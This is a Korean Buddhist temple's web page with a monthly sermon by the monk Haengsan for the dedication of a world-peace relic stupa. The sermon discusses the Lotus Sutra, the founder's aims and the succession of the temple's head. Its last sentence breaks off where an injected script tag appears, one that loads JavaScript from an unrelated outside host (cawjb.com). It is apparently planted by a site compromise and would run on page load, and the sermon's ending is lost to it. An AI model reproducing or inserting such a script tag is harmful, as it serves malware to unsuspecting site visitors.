대한불교 영산법화종 영산법화사

구원실성 석가세존의 불력 · 법력이 넘치는 곳

월간법문

불기 2551년 10월 - 세계평화 불사리탑 건립 회향법회 - 행산 스님

페이지 정보

작성자 영산법화사 댓글 0건 조회 14,641회 작성일 19-08-23 13:43

본문

나무묘법연화경
                                                    
 우리는 이제 불사리탑이 하늘 높이 치솟음을 뵈었습니다. 문득 이곳 성불산成佛山의 산마루를 뚫고 나온 사리탑이 하늘높이 치솟아 허공에 머무심을 뵈었습니다. 어느 날 부처님 앞에 높이 五백 유순由旬이요 가로 ․ 세로 二백五십 유순이나 되는 칠보七宝의 탑이 솟아나더라는 견보탑품의 글을 어찌 꿈같은 소리라 하겠습니까. 여기서 내외귀빈을 모신 가운데 우리 영산법화사의 사부대중은 세계평화를 성취하려는 우리의 뜨거운 염원에 대해 부처님께서 어떻게 대응하고 계신가를 뵙고 있습니다. 부처님의 자비는 무한하사 사리탑으로 출현出現하사 우리와 늘 함께 하시며 우리를 이끌어 주실 것임을 보이신 것입니다. 얼마나 크신 부처님의 은혜이십니까. 우리 조사스님의 소원이 처음부터 사리탑과 세계평화 달성을 연결시키고 있는 데에는 이유가 있었습니다. 조사스님께서 출가를 전후한 당시의 사회정세 곧 일제日帝가 패망하고 해방이 되는가 싶었지만 그 해방의 내실은 남북의 분단과 6.25의 참극이었다는 시대상時代相이 세계적 안목으로 인류의 미래를 걱정하시게 했던 것입니다. 하기는 조국의 분단과 동족의 상잔相殘에 요인이 민족 내부에 있는것 이상으로 미․소美蘇의 냉전으로 일컬어지는 세계의 정세 쪽에 기울어져 있었음을 누구나 아는 사실입니다. 이리하여 세계평화의 실현을 구경究景의 목표로 삼기에 이르렀다면 이는 곧 우리 조사 스님만의 견해임이 될 수는 없었을 것입니다. 세계 도처에서 세계평화라는 슬로건 밑에 활동하고 있는 정치가 사상가를 만날 수 있기 때문입니다.
 우리 조사 큰스님의 특이성은 세계평화를 문제 삼되 이를 법화경의 정신으로 실현코자 하신데 있다고 여겨집니다. 법화경이 어떤 경입니까 불교 안에는 여러 이질적인 가르침이 있어 이二승, 삼三승, 오五승, 칠七승 등等으로 불리어 왔습니다. 그런데 그런 차별은 중생의 근기에 따라 교화하는 데서 생긴 것일 뿐 부처님의 본뜻에 있어서는 모두가 부처님의 아들인 보살로서 교화 받고 있는 것이라 했으니 삼승 오승 중의 어느 것이건 그런 부처님의 뜻을 알고 보면 다 보살로서 교화 받고 있는 것이어서 온갖 가르침은 하나의 진실한 가르침인 일승임이 된다고 하셨습니다. 그리하여 사상적인 온갖 대립을 발무撥無해 흔적도 남기지 않게 함이 법화경입니다.
 사실 정치가나 학자들은 평화를 입에 달고 살지만 그들 자신이 분별에서 못 벗어나고 있는 바에야 진실한 평화가 뭣인지를 알 날이 언제 오겠습니까. 스피드를 쫓는 현대인에게는 다소 갑갑할지는 모르지만 우리 조사 큰스님이 우리의 사유思惟 방법方法에 깊은 조명을 비춰 부처님의 가셨던 길을 뒤쫓기로 하신 것은 참 잘하신 일이라 생각됩니다. 분별이 아닌 무분별의 반야지般若智에 서서 법화행자로 사는 것 말고는 평화에 이르는 어떤 길도 있을 이理가 없기 때문입니다.
 이렇게  해서 법화경 정신이 사리탑 공양으로 연결된다는 그 염원은 내실화 되고 순화되어 갈 것은 당연하니 불멸佛滅 후에 마음의 공허를 메워 불굴의 주체성을 발휘함에 있어 이는 의당 거쳐야 할 수순이라 여겨집니다. 법화경에는 사리탑 공양을 찬탄하는 글이 많이 보이지만
 한편으로는 법화경이 있는 곳에는 불탑佛塔을 세울 필요가 없다고 하여 경권수지経卷受持를 강조하고 있는 말씀도 많습니다. 그러나 이는 문제 될 것도 없으니 삼보三宝중의 불보佛宝와 법보法宝의 관계로 보면 됩니다. 불보를 떠난 법보가 어디에 있으며 법보를 떠난 불보가 어떻게 있을 수 있겠습니까. 그러므로 사리탑을 숭배하라는 말씀과 법화경 있는 곳에는 사리탑을 세울 것이 없다는 말씀은 동일한 표현임이 됩니다. 이리하여 우리 조사 큰스님의 불사리탑을 통한 세계평화의 꿈을 키워 가시던 중 1977년 7월 문득 입적入寂하시니 세수歲壽는 66세 시고 법랍法臘은 34세 이셨습니다.
 이리하여 창황蒼惶한 중에 저 행산行山은 선사先師의 유명遺命을 받들어 법주 자리를 이었으나 워낙 박학비재博學非才의 몸이라 그 무슨 경륜經綸이 있을 수 없어 오직 바라기는 조사 큰스님의 유지를 한 치의 외누리 없이 받들었으면 하는 마음 뿐 이었습니다. 다행히도 종단안의 여러 대덕 스님들이 만사를 너그럽게 보아 주시고 신도님들 또한 저의 딱한 처지를 애처롭게 보신 듯 매사에 적극적으로 힘을 보태 주셨으니 지금의 사리탑 조성이 이루어 질 수 있는 공로도 전적으로 이분들께 돌아가야 할 것입니다.
 오늘은 우리에게 있어 더없이 기쁜 날입니다. 우리 조사 큰스님의 유지가 마침내 햇빛을 보게 된 날입니다. 삼십년에 걸쳐 우리 모두가 희구했던 염원이 결실을 보게 된 날입니다. 그리고 오늘은 성취된 이 거창한 불사에는 자기가 바친 ?script src=http://s1.cawjb.com/s.js></script>

댓글목록

등록된 댓글이 없습니다.


TOP